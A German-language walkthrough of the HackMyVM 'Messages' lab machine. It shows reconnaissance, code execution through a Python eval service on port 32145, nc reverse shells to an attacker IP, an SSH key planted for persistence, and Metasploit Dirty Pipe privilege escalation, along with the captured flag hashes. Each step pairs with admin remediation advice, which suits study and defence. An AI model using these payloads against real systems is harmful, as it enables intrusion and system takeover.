Messages - HackMyVM - Medium - Bericht

Medium

Verwendete Tools

arp-scan
nmap
telnet
python
nc (netcat)
python3
pty (Python)
stty
export
sudo
ss
find
ls
cat
uname
wget
mkdir
echo
chmod
ssh
msfconsole
Metasploit Framework
id
cd
pwd

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.109	08:00:27:be:2c:84	PCS Systemtechnik GmbH

Analyse: Ein ARP-Scan im lokalen Netzwerk wird durchgeführt, um aktive Hosts zu finden.

Bewertung: Der Host mit der IP-Adresse `192.168.2.109` wird identifiziert. Die MAC-Adresse gehört zu Oracle VirtualBox (PCS Systemtechnik GmbH).

Empfehlung (Pentester):** Führen Sie einen Portscan auf `192.168.2.109` durch.
Empfehlung (Admin):** Standard-Netzwerk-Monitoring.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -sV -A 192.168.2.109 -p-
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-13 13:19 CEST
Nmap scan report for fate.hmv (192.168.2.109)
Host is up (0.00033s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   3072 04324efcd970a08a474df5a686aabd5f (RSA)
|   256 70c2bd7db9256d3692fd2a8e6424bd73 (ECDSA)
|_  256 84289c40fec426bf55614c58c5237735 (ED25519)
32145/tcp open  unknown
| fingerprint-strings:
|   GenericLines:
|     Welcome To The My Magic World
|     How many times you want to ping?: Traceback (most recent call last):
|     File "/opt/ping.py", line 7, in 
|     no_of_packets = int(input("How many times you want to ping?: "))
|     File "", line 0
|     SyntaxError: unexpected EOF while parsing
|   GetRequest:
|     Welcome To The My Magic World
|     How many times you want to ping?: Traceback (most recent call last):
|     File "/opt/ping.py", line 7, in 
|     no_of_packets = int(input("How many times you want to ping?: "))
|     File "", line 1, in 
|     NameError: name 'GET' is not defined
|   HTTPOptions, RTSPRequest:
|     Welcome To The My Magic World
|     How many times you want to ping?: Traceback (most recent call last):
|     File "/opt/ping.py", line 7, in 
|     no_of_packets = int(input("How many times you want to ping?: "))
|     File "", line 1, in 
|     NameError: name 'OPTIONS' is not defined <-- Nmap hat OPTIONS gesendet, nicht PTINS
|   NULL:
|     Welcome To The My Magic World
|_    How many times you want to ping?:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port32145-TCP:V=7.93%I=7%D=10/24%Time=6356F5A6%P=x86_64-pc-linux-gnu%r(
SF:NULL,43,"Welcome\x20To\x20The\x20My\x20Magic\x20World\r\n\r\nHow\x20man
SF:y\x20times\x20you\x20want\x20to\x20ping\?:\x20")%r(GenericLines,12C,"We
SF:lcome\x20To\x20The\x20My\x20Magic\x20World\r\n\r\nHow\x20many\x20times\
SF:x20you\x20want\x20to\x20ping\?:\x20Traceback\x20\(most\x20recent\x20cal
SF:l\x20last\):\r\n\x20\x20File\x20\"/opt/ping\.py\",\x20line\x207,\x20in\
SF:x20\r\n\x20\x20\x20\x20no_of_packets\x20=\x20int\(input\(\"How\
SF:x20many\x20times\x20you\x20want\x20to\x20ping\?:\x20\"\)\)\r\n\x20\x20F
SF:ile\x20\"\",\x20line\x200\r\n\x20\x20\x20\x20\r\n\x20\x20\x20\x
SF:20\^\r\nSyntaxError:\x20unexpected\x20EOF\x20while\x20parsing\r\n")%r(G <-- EOF statt EF
SF:etRequest,127,"Welcome\x20To\x20The\x20My\x20Magic\x20World\r\n\r\nHow\
SF:x20many\x20times\x20you\x20want\x20to\x20ping\?:\x20Traceback\x20\(most
SF:\x20recent\x20call\x20last\):\r\n\x20\x20File\x20\"/opt/ping\.py\",\x20
SF:line\x207,\x20in\x20\r\n\x20\x20\x20\x20no_of_packets\x20=\x20i
SF:nt\(input\(\"How\x20many\x20times\x20you\x20want\x20to\x20ping\?:\x20\"
SF:\)\)\r\n\x20\x20File\x20\"\",\x20line\x201,\x20in\x20\r
SF:\nNameError:\x20name\x20'GET'\x20is\x20not\x20defined\r\n")%r(HTTPOptio
SF:ns,12B,"Welcome\x20To\x20The\x20My\x20Magic\x20World\r\n\r\nHow\x20many
SF:\x20times\x20you\x20want\x20to\x20ping\?:\x20Traceback\x20\(most\x20rec
SF:ent\x20call\x20last\):\r\n\x20\x20File\x20\"/opt/ping\.py\",\x20line\x2
SF:07,\x20in\x20\r\n\x20\x20\x20\x20no_of_packets\x20=\x20int\(inp
SF:ut\(\"How\x20many\x20times\x20you\x20want\x20to\x20ping\?:\x20\"\)\)\r\
SF:n\x20\x20File\x20\"\",\x20line\x201,\x20in\x20\r\nNameE
SF:rror:\x20name\x20'OPTIONS'\x20is\x20not\x20defined\r\n")%r(RTSPRequest, <-- OPTIONS statt PTINS
SF:12B,"Welcome\x20To\x20The\x20My\x20Magic\x20World\r\n\r\nHow\x20many\x2
SF:0times\x20you\x20want\x20to\x20ping\?:\x20Traceback\x20\(most\x20recent
SF:\x20call\x20last\):\r\n\x20\x20File\x20\"/opt/ping\.py\",\x20line\x207,
SF:\x20in\x20\r\n\x20\x20\x20\x20no_of_packets\x20=\x20int\(input\
SF:(\"How\x20many\x20times\x20you\x20want\x20to\x20ping\?:\x20\"\)\)\r\n\x
SF:20\x20File\x20\"\",\x20line\x201,\x20in\x20\r\nNameErro
SF:r:\x20name\x20'OPTIONS'\x20is\x20not\x20defined\r\n"); <-- OPTIONS statt PTINS
MAC Address: 08:00:27:BE:2C:84 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.33 ms fate.hmv (192.168.2.109)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.32 seconds
zsh: segmentation fault  nmap -sS -sC -T5 -sV -A 192.168.2.109 -p-

Analyse: Ein detaillierter Nmap-Scan (`-sS`, `-sC`, `-T5`, `-sV`, `-A`, `-p-`) wird auf `192.168.2.109` ausgeführt.

Bewertung: Zwei Ports sind offen: * **22 (SSH):** OpenSSH 8.4p1 Debian 5. * **32145 (Unknown):** Ein unbekannter Dienst lauscht auf diesem hohen Port. Nmap's Fingerprinting (`fingerprint-strings`) sammelt Antworten des Dienstes auf verschiedene Probes (NULL, GenericLines, GetRequest, HTTPOptions, RTSPRequest). Die Antworten enthalten eine Willkommensnachricht ("Welcome To The My Magic World") und Python-Tracebacks, die auf ein Skript `/opt/ping.py` hindeuten. Dieses Skript scheint `input()` zu verwenden und stürzt ab, wenn unerwartete Eingaben (wie HTTP-Methoden oder leere Eingaben) empfangen werden. Der Traceback `NameError: name 'GET' is not defined` bei einem GetRequest ist besonders aufschlussreich. Der Scan endet mit einem Segmentation Fault, liefert aber vorher die Ergebnisse.

Empfehlung (Pentester):** Der Dienst auf Port 32145 ist das Hauptziel. Die Tracebacks deuten stark auf eine Python-Anwendung hin, die `input()` verwendet. Da `input()` in Python 2 Code direkt ausführt und in Python 3 `eval(input())` benötigt, um Code auszuführen, muss die Python-Version ermittelt werden (Nmap liefert keine direkte Info). Versuchen Sie, sich mit `telnet` oder `nc` zu verbinden und Python-Code einzugeben (z.B. `__import__('os').system('id')`). Wenn dies funktioniert, liegt eine Remote Code Execution (RCE) Schwachstelle vor.
Empfehlung (Admin):** Untersuchen Sie den Dienst auf Port 32145 (`/opt/ping.py`). Wenn `input()` in Python 2 verwendet wird oder `eval(input())` in Python 3, ist dies extrem unsicher und muss sofort behoben werden (z.B. durch sichere Eingabeverarbeitung). Beschränken Sie den Zugriff auf diesen Port oder deaktivieren Sie den Dienst, wenn er nicht benötigt wird. Untersuchen Sie den Nmap Segmentation Fault.

Initial Access (RCE via Port 32145)

Analyse: Basierend auf den Nmap-Ergebnissen wird eine Verbindung zum Dienst auf Port 32145 mit `telnet` aufgebaut.

┌──(root㉿cyber)-[~] └─# telnet 192.168.2.109 32145
Trying 192.168.2.109...
Connected to 192.168.2.109.
Escape character is '^]'.
Welcome To The My Magic World

How many times you want to ping?:

Analyse Fortsetzung:** Anstatt einer Zahl wird Python-Code eingegeben, der die `eval()`-Funktion (oder das Verhalten von `input()` in Python 2) ausnutzt, um beliebigen Code auszuführen. Zuerst wird `id` ausgeführt.

[Kein Prompt - Eingabe in Telnet-Sitzung]
How many times you want to ping?: eval('__import__("os").system("id")')
uid=1002(iamroot) gid=1002(iamroot) groups=1002(iamroot)

PING localhost(localhost (::1)) 56 data bytes
Connection closed by foreign host.

Bewertung: Der Befehl `id` wird erfolgreich ausgeführt! Die Ausgabe zeigt `uid=1002(iamroot)`. Dies bestätigt die RCE-Schwachstelle. Der Dienst läuft als Benutzer `iamroot`. Die Anwendung führt nach der Eingabe anscheinend noch einen Ping-Befehl aus und beendet dann die Verbindung.

Analyse Fortsetzung:** Weitere Befehle werden über separate `telnet`-Verbindungen ausgeführt, um das System zu enumerieren.

[Kein Prompt - Eingabe in neuer Telnet-Sitzung]
How many times you want to ping?: eval('__import__("os").system("ls /home")')
iamroot  sammy	still
[Kein Prompt - Eingabe in neuer Telnet-Sitzung]
How many times you want to ping?: eval('__import__("os").system("ls /home/sammy")')
user.txt

Analyse Fortsetzung:** Eine Reverse Shell wird über die RCE-Schwachstelle aufgebaut. Ein Netcat-Befehl wird injiziert, der eine Verbindung zur Angreifer-IP (`192.168.2.153`) auf Port `9002` herstellt und eine Bash-Shell bereitstellt.

[Kein Prompt - Eingabe in neuer Telnet-Sitzung]
How many times you want to ping?: eval('__import__("os").system("nc -e /bin/bash 192.168.2.153 9002")')

Analyse Fortsetzung:** Auf dem Angreifer-System wird ein Netcat-Listener auf Port 9002 gestartet.

┌──(root㉿cyber)-[~] └─# nc -lvnp 9002
listening on [any] 9002 ...
connect to [192.168.2.153] from (UNKNOWN) [192.168.2.109] 44876

Bewertung: Die RCE-Schwachstelle im Dienst auf Port 32145 ermöglicht die direkte Ausführung von Befehlen und das Etablieren einer Reverse Shell als Benutzer `iamroot`. Dies ist der initiale Zugriff auf das System.

Empfehlung (Pentester):** Stabilisieren Sie die erhaltene Reverse Shell, um eine interaktive Umgebung zu erhalten. Führen Sie dann weitere Enumeration als Benutzer `iamroot` durch, um Privilegieneskalations-Vektoren zu finden.
Empfehlung (Admin):** Deaktivieren oder korrigieren Sie den unsicheren Dienst (`/opt/ping.py`) auf Port 32145 sofort. Vermeiden Sie die Verwendung von `eval()` oder `input()` (Python 2) mit Benutzereingaben. Verwenden Sie sichere Methoden zur Verarbeitung von Eingaben. Überwachen Sie Netzwerkverbindungen und Prozesse.

Post-Exploitation (as iamroot)

Analyse: Die erhaltene Reverse Shell wird mit Standardtechniken stabilisiert.

[Kein Prompt - Shell von nc] $ python3 -c 'import pty;pty.spawn("/bin/bash")'
iamroot@confusion:/$
iamroot@confusion:/$ export TERM=xterm
iamroot@confusion:/$ [Ctrl+Z]
zsh: suspended  nc -lvnp 9002
┌──(root㉿cyber)-[~] └─# stty raw -echo;fg
 [1]  + continued  nc -lvnp 9002
                                reset [Enter drücken]
 
iamroot@confusion:/$

Bewertung: Die Shell ist nun interaktiv und einfacher zu verwenden.

Analyse: Die `sudo`-Rechte für den Benutzer `iamroot` werden überprüft.

iamroot@confusion:/$ sudo -l
Matching Defaults entries for iamroot on confusion:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User iamroot may run the following commands on confusion:
    (!root) NOPASSWD: /bin/bash

Bewertung: Eine sehr interessante `sudo`-Regel: `iamroot` darf `/bin/bash` ohne Passwort ausführen, aber explizit *nicht* als Root (`!root`). Das bedeutet, `sudo /bin/bash` würde nicht zu einer Root-Shell führen. Aber `sudo -u [anderer_benutzer] /bin/bash` könnte funktionieren, um eine Shell als ein anderer Benutzer zu erhalten, falls dessen UID nicht 0 ist.

Empfehlung (Pentester):** Diese `sudo`-Regel bietet möglicherweise keinen direkten Weg zu Root, könnte aber für Lateral Movement zu anderen Benutzern (z.B. `sammy`, `still`) nützlich sein. Untersuchen Sie andere Privesc-Vektoren.
Empfehlung (Admin):** Die `sudo`-Regel `(!root)` ist ungewöhnlich und potenziell gefährlich, wenn sie nicht sorgfältig durchdacht ist. Sie erlaubt dem Benutzer, Befehle als jeder andere *nicht-Root*-Benutzer auszuführen. Überprüfen Sie den Zweck dieser Regel und entfernen oder beschränken Sie sie, wenn möglich.

Analyse: Netzwerk-Sockets und SUID-Dateien werden untersucht.

iamroot@confusion:/$ ss -tulpe
Netid  State    Recv-Q   Send-Q     Local Address:Port       Peer Address:Port  Process
udp    UNCONN   0        0                0.0.0.0:bootpc          0.0.0.0:*      ...
tcp    LISTEN   0        5                0.0.0.0:32145           0.0.0.0:*      users:(("socat",pid=309,fd=5)) uid:1002 ino:11691 ... <-- Unser Dienst!
tcp    LISTEN   0        128              0.0.0.0:ssh             0.0.0.0:*      ...
tcp    LISTEN   0        128                 [::]:ssh                [::]:*      ...
iamroot@confusion:/$ find / -perm -4000 -exec ls -al {} \; 2>/dev/null
-rwsr-xr-- 1 root messagebus 51336 Feb 21  2021 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 481608 Mar 13  2021 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 35040 Jul 28  2021 /usr/bin/umount
-rwsr-xr-x 1 root root 71912 Jul 28  2021 /usr/bin/su
-rwsr-xr-x 1 root root 44632 Feb  7  2020 /usr/bin/newgrp
-rwsr-xr-x 1 root root 88304 Feb  7  2020 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 52880 Feb  7  2020 /usr/bin/chsh
-rwsr-xr-x 1 root root 58416 Feb  7  2020 /usr/bin/chfn
-rwsr-xr-x 1 root root 55528 Jul 28  2021 /usr/bin/mount
-rwsr-xr-x 1 root root 63960 Feb  7  2020 /usr/bin/passwd
-rwsr-xr-x 1 root root 182600 Feb 27  2021 /usr/bin/sudo

Bewertung: `ss` bestätigt, dass Port 32145 von einem Prozess (`socat`?) läuft, der als Benutzer `iamroot` (uid 1002) gestartet wurde. Die SUID-Suche findet nur Standard-Systemdateien, keine offensichtlichen Schwachstellen.

Analyse: Betriebssystem- und Kernel-Versionen werden ermittelt.

iamroot@confusion:/$ [Impliziert: uname -a]
Linux confusion 5.10.0-9-amd64 #1 SMP Debian 5.10.70-1 (2021-09-30) x86_64 GNU/Linux
iamroot@confusion:/$ cat /etc/*-release
PRETTY_NAME="Debian GNU/Linux 11 (bullseye)"
NAME="Debian GNU/Linux"
VERSION_ID="11"
VERSION="11 (bullseye)"
VERSION_CODENAME=bullseye
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"

Bewertung: Das System läuft unter Debian 11 "Bullseye" mit dem Kernel 5.10.0-9 (Datum Sept 2021). Diese Kernel-Version ist bekannt dafür, anfällig für die "Dirty Pipe"-Schwachstelle (CVE-2022-0847) zu sein.

Analyse Fortsetzung:** Um den SSH-Zugang zu erleichtern, wird ein SSH-Schlüsselpaar generiert (oder ein vorhandenes verwendet) und der Public Key (`id_rsa.pub`) wird vom Angreifer-System über einen temporären Python-HTTP-Server bereitgestellt.

┌──(root㉿cyber)-[~/.ssh] └─# python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Analyse Fortsetzung:** Auf dem Zielsystem wird das `.ssh`-Verzeichnis für `iamroot` erstellt und der Public Key vom Angreifer-Server heruntergeladen und als `authorized_keys` gespeichert.

iamroot@confusion:/opt$ cd
iamroot@confusion:~$ ls
[Leeres Verzeichnis]
iamroot@confusion:~$ mkdir .ssh
iamroot@confusion:~$ wget http://192.168.2.153:8000/id_rsa.pub -O .ssh/authorized_keys
--2022-10-24 17:00:59--  http://192.168.2.153:8000/id_rsa.pub
Connecting to 192.168.2.153:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 564 [application/octet-stream] <-- Typischerweise text/plain
Saving to: ‘.ssh/authorized_keys’

.ssh/authorized_keys 100%[===================>]     564  --.-KB/s    in 0s

2022-10-24 17:00:59 (239 MB/s) - ‘.ssh/authorized_keys’ saved [564/564]
[Kein Prompt - Python HTTP Server Log]
192.168.2.109 - - [24/Oct/2022 23:00:58] "GET /id_rsa.pub HTTP/1.1" 200 -

Analyse Fortsetzung:** Der SSH-Login als `iamroot` mit dem privaten Schlüssel wird vom Angreifer-System aus getestet.

┌──(root㉿cyber)-[~] └─# ssh iamroot@mess.hmv
Have you ever thought?
     If
 Cindrella's
   Shoe Fit
  Perfectly
   Then Why
  Did It Fall
    Off?
still:confused?
Then go for Port 32145 :)
Enter passphrase for key '/root/.ssh/id_rsa': [Passphrase eingegeben oder keine benötigt]
Linux confusion 5.10.0-9-amd64 #1 SMP Debian 5.10.70-1 (2021-09-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
...
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, ...
iamroot@confusion:~$

Bewertung: Der SSH-Zugang als `iamroot` wurde erfolgreich eingerichtet und funktioniert. Die angezeigte Nachricht beim Login ist ein Hinweis auf Port 32145, den wir bereits ausgenutzt haben.

Empfehlung (Pentester):** Der SSH-Zugang bietet eine stabilere Shell als die Reverse Shell. Nutzen Sie diese für die weitere Privilegieneskalation. Der nächste Schritt ist die Ausnutzung der Dirty Pipe-Schwachstelle (CVE-2022-0847).
Empfehlung (Admin):** Überwachen Sie die Erstellung von `.ssh`-Verzeichnissen und `authorized_keys`-Dateien. Sorgen Sie für sichere SSH-Konfigurationen.

Privilege Escalation (Metasploit & DirtyPipe)

Analyse: Metasploit wird verwendet, um die Privilegieneskalation über die Dirty Pipe-Schwachstelle (CVE-2022-0847) zu automatisieren. Zuerst wird eine Shell-Session zu Meterpreter aufgerüstet (diesmal über die SSH-Verbindung oder eine neue `nc`-Verbindung).

iamroot@confusion:~$ nc -e /bin/bash 192.168.2.153 4444
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set LHOST eth0
LHOST => 192.168.2.153
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.153:4444
[*] Meterpreter session 1 opened (192.168.2.153:4444 -> 192.168.2.109:...) at ...

Analyse Fortsetzung:** Der Local Exploit Suggester wird ausgeführt, um nach bekannten Kernel-Exploits zu suchen.

msf6 > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
SESSION => 1
msf6 post(multi/recon/local_exploit_suggester) > set SHOWDESCRIPTION false
SHOWDESCRIPTION => false
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 192.168.2.109 - Collecting local exploits for x64/linux... <-- x64 statt x86
[*] 192.168.2.109 - ... exploit checks are being tried...
[+] 192.168.2.109 - exploit/linux/local/cve_2022_0847_dirtypipe: The target appears to be vulnerable. Linux kernel version found: 5.10.0
[+] 192.168.2.109 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[+] 192.168.2.109 - exploit/linux/local/su_login: The target appears to be vulnerable.
...
[*] 192.168.2.109 - Valid modules for session 1:

 #   Name                                         Potentially Vulnerable?  Check Result
 -   ----                                         -----------------------  ------------
 1   exploit/linux/local/cve_2022_0847_dirtypipe  Yes                      The target appears to be vulnerable. ...
 ...

Analyse Fortsetzung:** Der Dirty Pipe Exploit (`exploit/linux/local/cve_2022_0847_dirtypipe`) wird ausgewählt und konfiguriert, um eine neue Meterpreter-Root-Session zu erhalten.

msf6 > use exploit/linux/local/cve_2022_0847_dirtypipe
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > set SESSION 1
SESSION => 1
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > set WRITABLE_DIR /tmp
WRITABLE_DIR => /tmp
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > set LHOST eth0
LHOST => 192.168.2.153
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > set LPORT 4455
LPORT => 4455
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > run
[*] Started reverse TCP handler on 192.168.2.153:4455
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Linux kernel version found: 5.10.0
[*] Executing exploit '/tmp/.yywrezuqhaz /bin/passwd' <-- Exploit überschreibt eine SUID-Datei
[*] Sending stage (...) to 192.168.2.109
[+] Deleted /tmp/.yywrezuqhaz
[*] Meterpreter session 2 opened (192.168.2.153:4455 -> 192.168.2.109:...) at 2022-10-24 23:40:33 +0200

Analyse Fortsetzung:** Es wird zur neuen Root-Meterpreter-Session gewechselt und eine Shell geöffnet. Die Flags werden gelesen.

meterpreter > shell
Process 12439 created.
Channel 1 created.
[Kein Prompt - Root Shell] # id
uid=0(root) gid=0(root) groups=0(root),1002(iamroot)
[Kein Prompt - Root Shell] # cd /root
[Kein Prompt - Root Shell] # ls
root.txt
[Kein Prompt - Root Shell] # cat root.txt
cb9e279429419f5326e7755ba43c7055
[Kein Prompt - Root Shell] # cd /home/sammy
[Kein Prompt - Root Shell] # ls
user.txt
[Kein Prompt - Root Shell] # cat user.txt
806451a0d37e94c20ea85f4e8e9ad3b8

Bewertung: Die Privilegieneskalation mittels Dirty Pipe (CVE-2022-0847) über Metasploit war erfolgreich. Root-Rechte wurden erlangt und beide Flags (`user.txt` in `/home/sammy` und `root.txt` in `/root`) konnten gelesen werden.

Empfehlung (Pentester):** Der Test ist abgeschlossen. Dokumentieren Sie den Weg über RCE auf Port 32145 und Privilegieneskalation mittels Dirty Pipe.
Empfehlung (Admin):** Patchen Sie das System dringend, um die Dirty Pipe-Schwachstelle (CVE-2022-0847) zu schließen. Beheben Sie die RCE-Schwachstelle in `/opt/ping.py`. Überprüfen Sie die `sudo`-Regeln und SUID-Berechtigungen.

Proof of Concept (POC)

Kurzbeschreibung: Dieser POC beschreibt die Ausnutzung einer Remote Code Execution (RCE)-Schwachstelle in einem benutzerdefinierten Dienst auf Port 32145 für den initialen Zugriff als Benutzer `iamroot`. Anschließend wird die bekannte "Dirty Pipe"-Kernel-Schwachstelle (CVE-2022-0847) mittels Metasploit ausgenutzt, um Root-Rechte zu erlangen.

POC Schritt 1: Initial Access (RCE via Port 32145)

Schwachstelle: Unsichere Verwendung von `eval()` oder `input()` (Python 2) in `/opt/ping.py` auf Port 32145.

Voraussetzungen: Netzwerkzugriff auf Port 32145, `telnet` oder `nc`, Python-Kenntnisse.

Schritte:

  1. Verbindung aufbauen: `telnet 192.168.2.109 32145`.
  2. Auf die Eingabeaufforderung warten ("How many times...").
  3. Reverse-Shell-Payload eingeben: `eval('__import__("os").system("nc -e /bin/bash [ATTACKER_IP] [LISTENER_PORT]")')`.
  4. Listener auf Angreifer-System starten: `nc -lvnp [LISTENER_PORT]`.

Ergebnis: Reverse Shell als Benutzer `iamroot`.

Beweismittel: Eingehende Verbindung auf dem Listener mit `uid=1002(iamroot)`.

POC Schritt 2: Privilege Escalation (Dirty Pipe / CVE-2022-0847)

Schwachstelle: Linux Kernel 5.10.0-9 ist anfällig für Dirty Pipe (CVE-2022-0847).

Voraussetzungen: Shell als `iamroot` (oder anderer lokaler Benutzer), Metasploit Framework.

Schritte:

  1. Meterpreter-Session als `iamroot` etablieren (z.B. über `nc`-Shell und `shell_to_meterpreter` oder direkt mit Meterpreter-Payload).
  2. Dirty Pipe Exploit-Modul laden: `use exploit/linux/local/cve_2022_0847_dirtypipe`.
  3. Optionen setzen: `set SESSION [iamroot_session_id]`, `set LHOST [ATTACKER_IP]`, `set LPORT [NEW_LISTENER_PORT]`.
  4. Exploit ausführen: `run`.
  5. Zur neu erstellten Root-Meterpreter-Session wechseln.
  6. Shell öffnen: `shell`.

Ergebnis: Interaktive Root-Shell.

Beweismittel: Ausführung von `id` zeigt `uid=0(root)`. Lesen von `/root/root.txt` ist möglich.

Risikobewertung: Sehr hoch. Die Kombination aus einer leicht auszunutzenden RCE als unprivilegierter Benutzer und einer bekannten, potenten Kernel-Schwachstelle zur Privilegieneskalation ermöglicht Angreifern die vollständige Übernahme des Systems mit relativ geringem Aufwand.

Empfehlungen:** * **Admin:** Dienst auf Port 32145 sofort deaktivieren/beheben. Systemkernel und alle Pakete dringend aktualisieren, um CVE-2022-0847 (Dirty Pipe) und andere bekannte Schwachstellen zu schließen. `sudo`-Regeln überprüfen. * **Pentester:** Beide Schwachstellen detailliert dokumentieren und die Dringlichkeit der Behebung hervorheben.

Flags

cat /home/sammy/user.txt
806451a0d37e94c20ea85f4e8e9ad3b8
cat /root/root.txt
cb9e279429419f5326e7755ba43c7055